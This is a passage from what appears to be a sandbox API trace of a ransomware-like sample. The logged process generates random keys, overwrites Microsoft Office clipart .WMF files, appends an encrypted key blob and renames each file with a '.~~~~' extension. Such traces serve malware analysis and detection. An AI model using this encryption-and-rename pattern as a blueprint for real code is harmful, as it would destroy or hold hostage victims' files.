	[0097.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2843390
	[0097.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0097.296] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0097.296] GetLastError () returned 0x0
	[0097.296] GetLastError () returned 0x0
	[0097.297] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0097.297] GetLastError () returned 0x0
	[0097.297] GetLastError () returned 0x0
	[0097.307] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe79c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.307] WriteFile (in: hFile=0x138, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1864, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x1864, lpOverlapped=0x0) returned 1
	[0097.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.307] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.307] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.308] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.308] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.308] CloseHandle (hObject=0x138) returned 1
	[0097.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.308] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.~~~~")) returned 1
	[0097.309] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.309] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0097.309] GetLastError () returned 0x0
	[0097.310] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0097.310] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0097.311] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0097.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0097.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0097.311] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21730152030) returned 1
	[0097.311] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa3b72990, dwHighDateTime=0x1d60e1e)) 
	[0097.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0097.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0097.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0097.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840998
	[0097.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840998 | out: hHeap=0x300000) returned 1
	[0097.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2843a18
	[0097.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.312] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0097.312] GetLastError () returned 0x0
	[0097.312] GetLastError () returned 0x0
	[0097.312] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0097.312] GetLastError () returned 0x0
	[0097.313] GetLastError () returned 0x0
	[0097.322] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffebdc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.322] WriteFile (in: hFile=0x138, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1424, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x1424, lpOverlapped=0x0) returned 1
	[0097.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.324] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.324] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.324] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.324] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.324] CloseHandle (hObject=0x138) returned 1
	[0097.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0097.329] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.~~~~")) returned 1
	[0097.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0097.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0097.336] GetLastError () returned 0x0
	[0097.337] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0097.345] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0097.345] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0097.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0097.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0097.346] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21733567935) returned 1
	[0097.346] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa3bbec50, dwHighDateTime=0x1d60e1e)) 
	[0097.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0097.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0097.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0097.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840a78
	[0097.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840a78 | out: hHeap=0x300000) returned 1
	[0097.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0097.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2843c78
	[0097.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0097.346] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0097.346] GetLastError () returned 0x0
	[0097.346] GetLastError () returned 0x0
	[0097.346] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0097.346] GetLastError () returned 0x0
	[0097.347] GetLastError () returned 0x0
	[0097.353] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff4a0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.353] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0xb60, lpOverlapped=0x0) returned 1
	[0097.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.354] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.354] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.354] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.354] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.354] CloseHandle (hObject=0x11c) returned 1
	[0097.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.354] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.~~~~")) returned 1
	[0097.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0097.355] GetLastError () returned 0x0
	[0097.355] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0097.356] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0097.356] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0097.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0097.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0097.356] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21734660606) returned 1
	[0097.357] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa3be4db0, dwHighDateTime=0x1d60e1e)) 
	[0097.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0097.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0097.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0097.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840ae8
	[0097.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840ae8 | out: hHeap=0x300000) returned 1
	[0097.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2843d10
	[0097.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.357] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0097.357] GetLastError () returned 0x0
	[0097.357] GetLastError () returned 0x0
	[0097.357] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0097.357] GetLastError () returned 0x0
	[0097.358] GetLastError () returned 0x0
	[0097.366] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe328, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.366] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1cd8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x1cd8, lpOverlapped=0x0) returned 1
	[0097.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.367] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.367] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.367] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.367] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.367] CloseHandle (hObject=0x11c) returned 1
	[0097.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.368] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.~~~~")) returned 1
	[0097.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0097.368] GetLastError () returned 0x0
	[0097.374] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0097.381] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0097.381] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0097.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0097.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0097.381] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21737088251) returned 1
	[0097.381] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa3c0af10, dwHighDateTime=0x1d60e1e)) 
	[0097.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0097.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0097.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0097.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840bc8
	[0097.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840bc8 | out: hHeap=0x300000) returned 1
	[0097.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280bfe8
	[0097.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.381] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0097.381] GetLastError () returned 0x0
	[0097.382] GetLastError () returned 0x0
	[0097.382] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0097.382] GetLastError () returned 0x0
	[0097.382] GetLastError () returned 0x0
	[0097.434] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffde18, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.434] WriteFile (in: hFile=0x11c, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x21e8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x25dfec0*=0x21e8, lpOverlapped=0x0) returned 1
	[0097.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0097.435] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.435] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.435] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.435] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.435] CloseHandle (hObject=0x11c) returned 1
	[0097.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.435] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.~~~~")) returned 1
	[0097.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0097.436] GetLastError () returned 0x0
	[0097.436] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0097.437] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.437] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0097.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0097.437] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21742761414) returned 1
	[0097.438] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa3ca3490, dwHighDateTime=0x1d60e1e)) 
	[0097.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0097.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0097.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0097.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9fa0
	[0097.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9fa0 | out: hHeap=0x300000) returned 1
	[0097.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
